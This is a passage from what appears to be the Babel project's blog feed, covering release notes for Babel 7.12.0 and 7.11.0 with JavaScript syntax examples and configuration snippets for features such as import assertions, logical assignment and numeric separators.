<div class="theme-admonition theme-admonition-note admonition_WCGJ alert alert--secondary"><div class="admonitionHeading_GCBg"><span class="admonitionIcon_L39b"><svg viewBox="0 0 14 16"><path fill-rule="evenodd" d="M6.3 5.69a.942.942 0 0 1-.28-.7c0-.28.09-.52.28-.7.19-.18.42-.28.7-.28.28 0 .52.09.7.28.18.19.28.42.28.7 0 .28-.09.52-.28.7a1 1 0 0 1-.7.3c-.28 0-.52-.11-.7-.3zM8 7.99c-.02-.25-.11-.48-.31-.69-.2-.19-.42-.3-.69-.31H6c-.27.02-.48.13-.69.31-.2.2-.3.44-.31.69h1v3c.02.27.11.5.31.69.2.2.42.31.69.31h1c.27 0 .48-.11.69-.31.2-.19.3-.42.31-.69H8V7.98v.01zM7 2.3c-3.14 0-5.7 2.54-5.7 5.68 0 3.14 2.56 5.7 5.7 5.7s5.7-2.55 5.7-5.7c0-3.15-2.56-5.69-5.7-5.69v.01zM7 .98c3.86 0 7 3.14 7 7s-3.14 7-7 7-7-3.12-7-7 3.14-7 7-7z"></path></svg></span>note</div><div class="admonitionContent_pbrs"><p>Babel implements an <a href="https://github.com/tc39/proposal-class-static-block/pull/15" target="_blank" rel="noopener noreferrer">updated</a> version of spec, which addresses <a href="https://github.com/tc39/proposal-class-static-block/issues?q=is%3Aissue+author%3AJLHwung+created%3A%3C2020-10-07" target="_blank" rel="noopener noreferrer">feedback</a> we have provided based on the <a href="https://github.com/tc39/proposal-class-static-block/commit/1bfccb28a8174f6ca3f92242bd9589985190100c" target="_blank" rel="noopener noreferrer">current</a> spec.</p></div></div>
<h3 class="anchor anchorWithStickyNavbar_JmGV" id="imports-and-exports-with-string-names-12091">Imports and exports with string names (<a href="https://github.com/babel/babel/pull/12091" target="_blank" rel="noopener noreferrer">#12091</a>)<a href="https://babeljs.io/blog/2020/10/15/7.12.0#imports-and-exports-with-string-names-12091" class="hash-link" aria-label="Direct link to imports-and-exports-with-string-names-12091" title="Direct link to imports-and-exports-with-string-names-12091">​</a></h3>
<p>Consensus was achieved during the last TC39 meeting with <a href="https://github.com/tc39/ecma262/pull/2154" target="_blank" rel="noopener noreferrer">a PR</a> to allow strings as the name of imported and exported variables:</p>
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">JavaScript</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token comment" style="color:#8e908c">// emojis.js</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">let</span><span class="token plain"> happy </span><span class="token operator">=</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"wooo!"</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword module" style="color:#8959a8">export</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"> happy </span><span class="token keyword module" style="color:#8959a8">as</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"😃"</span><span class="token plain"> </span><span class="token punctuation">}</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token comment" style="color:#8e908c">// main.js</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword module" style="color:#8959a8">import</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"😃"</span><span class="token plain"> </span><span class="token keyword module" style="color:#8959a8">as</span><span class="token plain"> smile </span><span class="token punctuation">}</span><span class="token plain"> </span><span class="token keyword module" style="color:#8959a8">from</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"./emojis.js"</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token console class-name" style="color:#eab700">console</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">log</span><span class="token punctuation">(</span><span class="token plain">smile</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"> </span><span class="token comment" style="color:#8e908c">// wooo!</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<p>This allows using any valid UTF-16 name across modules, making JavaScript fully compatible with other languages such as WebAssembly.</p>
<p>You can enable <em>parsing</em> support for this feature by adding <code>@babel/plugin-syntax-module-string-names</code> to your configuration:</p>
<div class="language-json codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">babel.config.json</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-json codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token plain">{</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  "presets:" ["@babel/preset-env"],</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  "plugins": [</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    "@babel/syntax-module-string-names"</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  ]</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">}</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<p>This feature will be enabled by <em>default</em> as soon as the syntax is merged into the main ECMAScript specification.</p>
<p>Please note that it's not possible to transpile arbitrary strings to ES2015-style imports and exports: they will only be transpiled when targeting a different modules system such as CommonJS.</p>
<h2 class="anchor anchorWithStickyNavbar_JmGV" id="import-assertions-parsing-12139">Import assertions parsing (<a href="https://github.com/babel/babel/pull/12139" target="_blank" rel="noopener noreferrer">#12139</a>)<a href="https://babeljs.io/blog/2020/10/15/7.12.0#import-assertions-parsing-12139" class="hash-link" aria-label="Direct link to import-assertions-parsing-12139" title="Direct link to import-assertions-parsing-12139">​</a></h2>
<p>The "module attributes" proposal has been significantly changed and also renamed to "import assertions".</p>
<p>We've implemented parsing support for this new version of the proposal, which can be enabled using the <code>@babel/plugin-syntax-import-assertions</code> plugin (or, if you are directly using <code>@babel/parser</code>, <code>importAssertions</code>):</p>
<div class="language-diff codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-diff codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token plain"> {</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">   "plugins": [</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">-    ["@babel/syntax-module-attributes", { "version": "may-2020" }]</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">+    "@babel/syntax-import-assertions"</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">   ]</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"> }</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<p>The most significant syntax changes are that the <code>with</code> keyword has been replaced with <code>assert</code> and assertions are now wrapped in curly braces:</p>
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">JavaScript</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword module" style="color:#8959a8">import</span><span class="token plain"> </span><span class="token imports">json</span><span class="token plain"> </span><span class="token keyword module" style="color:#8959a8">from</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"./foo.json"</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">assert</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"> </span><span class="token literal-property property">type</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"json"</span><span class="token plain"> </span><span class="token punctuation">}</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword module" style="color:#8959a8">import</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"foo.json"</span><span class="token punctuation">,</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"> </span><span class="token literal-property property">assert</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"> </span><span class="token literal-property property">type</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"json"</span><span class="token plain"> </span><span class="token punctuation">}</span><span class="token plain"> </span><span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<p>You can read more about these changes in the <a href="https://github.com/tc39/proposal-import-assertions#readme" target="_blank" rel="noopener noreferrer">proposal's README</a>.</p>
<div class="theme-admonition theme-admonition-caution admonition_WCGJ alert alert--warning"><div class="admonitionHeading_GCBg"><span class="admonitionIcon_L39b"><svg viewBox="0 0 16 16"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 0 0 0 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 0 0 .01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"></path></svg></span>caution</div><div class="admonitionContent_pbrs"><p><code>@babel/plugin-syntax-module-attributes</code> will continue working until we release Babel 8.0.0, but will no longer be maintained, so we highly recommended migrating to the new plugin.</p></div></div>]]></content>
        <author>
            <name>Nicolò Ribaudo</name>
            <uri>https://twitter.com/NicoloRibaudo</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[7.11.0 Released: ECMAScript 2021 support in preset-env, TypeScript 4.0 support, printing config and the future of `babel-eslint`]]></title>
        <id>https://babeljs.io/blog/2020/07/30/7.11.0</id>
        <link href="https://babeljs.io/blog/2020/07/30/7.11.0"/>
        <updated>2020-07-30T00:00:00.000Z</updated>
        <summary type="html"><![CDATA[We just released a new minor version of Babel!]]></summary>
        <content type="html"><![CDATA[<p>We just released a new minor version of Babel!</p>
<p>This 7.11 release includes:</p>
<ul>
<li><code>preset-env</code> support for Logical Assignments (<code>??=</code>), Numeric Separators (<code>1_2</code>) and Namespace re-exports (<code>export * as ns from ...</code>)</li>
<li>TypeScript 4.0 support</li>
<li>Parser support for the Stage-1 <a href="https://github.com/tc39/proposal-decimal" target="_blank" rel="noopener noreferrer">Decimal proposal</a> (<code>7.11m</code>)</li>
<li>An environment flag to print the resolved Babel configuration for a given file (<code>BABEL_SHOW_CONFIG_FOR</code>)</li>
</ul>
<p>In addition to this, we are now releasing the successor of <code>babel-eslint</code>: <code>@babel/eslint-parser</code>!</p>
<p>You can read the whole changelog <a href="https://github.com/babel/babel/releases/tag/v7.11.0" target="_blank" rel="noopener noreferrer">on GitHub</a>.</p>
<p>Also if you have any questions or something you want to discuss, we've enabled <a href="https://github.com/babel/babel/discussions" target="_blank" rel="noopener noreferrer">GitHub Discussions</a> on our repository!</p>
<p>If you or your company want to support Babel and the evolution of JavaScript, but aren't sure how, you can donate to us on our <a href="https://opencollective.com/babel" target="_blank" rel="noopener noreferrer">Open Collective</a> and, better yet, work with us on the implementation of <a href="https://github.com/babel/proposals" target="_blank" rel="noopener noreferrer">new ECMAScript proposals</a> directly! As a volunteer-driven project, we rely on the community's support to fund our efforts in supporting the wide range of JavaScript users. Reach out at <a href="mailto:team@babeljs.io" target="_blank" rel="noopener noreferrer">team@babeljs.io</a> if you'd like to discuss more!</p>
<h2 class="anchor anchorWithStickyNavbar_JmGV" id="ecmascript-2021-support-11864">ECMAScript 2021 support (<a href="https://github.com/babel/babel/pull/11864" target="_blank" rel="noopener noreferrer">#11864</a>)<a href="https://babeljs.io/blog/2020/07/30/7.11.0#ecmascript-2021-support-11864" class="hash-link" aria-label="Direct link to ecmascript-2021-support-11864" title="Direct link to ecmascript-2021-support-11864">​</a></h2>
<p>During the last <a href="https://github.com/tc39/agendas/blob/master/2020/09.md" target="_blank" rel="noopener noreferrer">meeting</a>, TC39 moved both the logical assignment and numeric separator proposals to Stage 4! Babel already had support these proposals via the <code>@babel/plugin-proposal-logical-assignment-operators</code> and <code>@babel/plugin-proposal-numeric-separators</code> plugins. They are now included in <code>@babel/preset-env</code> and compiled based on your targets, like any other ECMAScript feature.</p>
<h3 class="anchor anchorWithStickyNavbar_JmGV" id="logical-assignment"><a href="https://babeljs.io/docs/en/babel-plugin-proposal-logical-assignment-operators" target="_blank" rel="noopener noreferrer">Logical Assignment</a><a href="https://babeljs.io/blog/2020/07/30/7.11.0#logical-assignment" class="hash-link" aria-label="Direct link to logical-assignment" title="Direct link to logical-assignment">​</a></h3>
<p>Logical assignment offers a shorthand notation combining logical operators and assignment expression:</p>
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">JavaScript</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">this</span><span class="token punctuation">.</span><span class="token property-access">disabled</span><span class="token plain"> </span><span class="token operator">??=</span><span class="token plain"> </span><span class="token boolean" style="color:#f5871f">false</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">this</span><span class="token punctuation">.</span><span class="token property-access">disabled</span><span class="token plain"> </span><span class="token operator">??</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token keyword" style="color:#8959a8">this</span><span class="token punctuation">.</span><span class="token property-access">disabled</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token boolean" style="color:#f5871f">false</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">clicked </span><span class="token operator">&amp;&amp;=</span><span class="token plain"> </span><span class="token operator">!</span><span class="token function" style="color:#4271ae">isDoubleClicked</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">clicked </span><span class="token operator">=</span><span class="token plain"> clicked </span><span class="token operator">&amp;&amp;</span><span class="token plain"> </span><span class="token operator">!</span><span class="token function" style="color:#4271ae">isDoubleClicked</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">hasDups </span><span class="token operator">||=</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token plain">prev </span><span class="token operator">===</span><span class="token plain"> cur</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword control-flow" style="color:#8959a8">if</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token operator">!</span><span class="token plain">hasDup</span><span class="token punctuation">)</span><span class="token plain"> hasDups </span><span class="token operator">=</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token plain">prev </span><span class="token operator">===</span><span class="token plain"> cur</span><span class="token punctuation">)</span><span class="token punctuation">;</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<h3 class="anchor anchorWithStickyNavbar_JmGV" id="numeric-separator"><a href="https://babeljs.io/docs/en/babel-plugin-proposal-numeric-separator" target="_blank" rel="noopener noreferrer">Numeric Separator</a><a href="https://babeljs.io/blog/2020/07/30/7.11.0#numeric-separator" class="hash-link" aria-label="Direct link to numeric-separator" title="Direct link to numeric-separator">​</a></h3>
<p>The numeric separator (<code>_</code>) is a character you can insert between digits in numeric literals to help with visual separation:</p>
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">JavaScript</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token number" style="color:#f5871f">1_000_000_000</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token number" style="color:#f5871f">0.000_000_000_1</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<h3 class="anchor anchorWithStickyNavbar_JmGV" id="export-namespace-from-11849"><a href="https://babeljs.io/docs/en/babel-plugin-proposal-export-namespace-from" target="_blank" rel="noopener noreferrer">Export namespace from</a> (<a href="https://github.com/babel/babel/pull/11849" target="_blank" rel="noopener noreferrer">#11849</a>)<a href="https://babeljs.io/blog/2020/07/30/7.11.0#export-namespace-from-11849" class="hash-link" aria-label="Direct link to export-namespace-from-11849" title="Direct link to export-namespace-from-11849">​</a></h3>
<p>An imported module can be re-exported as a new namespace:</p>
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">JavaScript</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword module" style="color:#8959a8">export</span><span class="token plain"> </span><span class="token exports operator">*</span><span class="token exports"> </span><span class="token exports keyword module" style="color:#8959a8">as</span><span class="token exports"> ns</span><span class="token plain"> </span><span class="token keyword module" style="color:#8959a8">from</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"mod"</span><span class="token punctuation">;</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<div class="theme-admonition theme-admonition-note admonition_WCGJ alert alert--secondary"><div class="admonitionHeading_GCBg"><span class="admonitionIcon_L39b"><svg viewBox="0 0 14 16"><path fill-rule="evenodd" d="M6.3 5.69a.942.942 0 0 1-.28-.7c0-.28.09-.52.28-.7.19-.18.42-.28.7-.28.28 0 .52.09.7.28.18.19.28.42.28.7 0 .28-.09.52-.28.7a1 1 0 0 1-.7.3c-.28 0-.52-.11-.7-.3zM8 7.99c-.02-.25-.11-.48-.31-.69-.2-.19-.42-.3-.69-.31H6c-.27.02-.48.13-.69.31-.2.2-.3.44-.31.69h1v3c.02.27.11.5.31.69.2.2.42.31.69.31h1c.27 0 .48-.11.69-.31.2-.19.3-.42.31-.69H8V7.98v.01zM7 2.3c-3.14 0-5.7 2.54-5.7 5.68 0 3.14 2.56 5.7 5.7 5.7s5.7-2.55 5.7-5.7c0-3.15-2.56-5.69-5.7-5.69v.01zM7 .98c3.86 0 7 3.14 7 7s-3.14 7-7 7-7-3.12-7-7 3.14-7 7-7z"></path></svg></span>note</div><div class="admonitionContent_pbrs"><p>This was already included in ECMAScript 2020, but it wasn't supported by <code>@babel/preset-env</code> yet.</p></div></div>
<p>Since version 7.11, <code>@babel/preset-env</code> skips <code>@babel/plugin-proposal-export-namespace-from</code> if the <code>caller</code> supports it: this can leave <code>export * as ns</code> as-is to be directly processed by the bundlers. <em>Note</em>: <code>babel-loader</code> and <code>@rollup/plugin-babel</code> don't yet tell Babel they supports this syntax, but we are working on it with the relevant maintainers.</p>
<p>If <code>{ modules: false }</code> is set, Babel will assume that the transpiled code will be run in engines that have native ESM support. <code>export * as ns</code> will be compiled based on <code>targets</code>, like any other ECMAScript feature.</p>
<p>If you intend to bundle the transpiled code, please remove <code>{ modules: false }</code> option. By default <code>preset-env</code> will determine the module transforms from <code>caller</code> data passed from <code>babel-loader</code> and <code>@rollup/plugin-babel</code>.</p>
<div class="language-diff codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-diff codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token plain">{</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  "presets": [</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    ["@babel/env", {</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      "targets": ["defaults"],</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">-     "modules": false,</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    }]</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">}</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<p>If you provide a different value for the <code>modules</code> option, <code>export * as ns</code> will always be transformed.</p>
<hr>
<p>If you were directly using any of</p>
<ul>
<li><code>@babel/plugin-proposal-export-namespace-from</code></li>
<li><code>@babel/plugin-proposal-logical-assignment-operators</code></li>
<li><code>@babel/plugin-proposal-numeric-separators</code></li>
</ul>
<p>you can remove them from your config as they will be included by default:</p>
<div class="language-diff codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-diff codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token plain">{</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  "presets": [</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    ["@babel/env", { "targets": ["defaults"] }]</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  ],</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  "plugins": [</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">-   "@babel/plugin-proposal-export-namespace-from",</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">-   "@babel/plugin-proposal-logical-assignment-operators",</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">-   "@babel/plugin-proposal-numeric-separators"</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  ]</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">}</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<h2 class="anchor anchorWithStickyNavbar_JmGV" id="typescript-40-support-11760">TypeScript 4.0 support (<a href="https://github.com/babel/babel/pull/11760" target="_blank" rel="noopener noreferrer">#11760</a>)<a href="https://babeljs.io/blog/2020/07/30/7.11.0#typescript-40-support-11760" class="hash-link" aria-label="Direct link to typescript-40-support-11760" title="Direct link to typescript-40-support-11760">​</a></h2>
<p>TypeScript 4.0 introduces several <a href="https://devblogs.microsoft.com/typescript/announcing-typescript-4-0-beta/" target="_blank" rel="noopener noreferrer">new features</a>.</p>
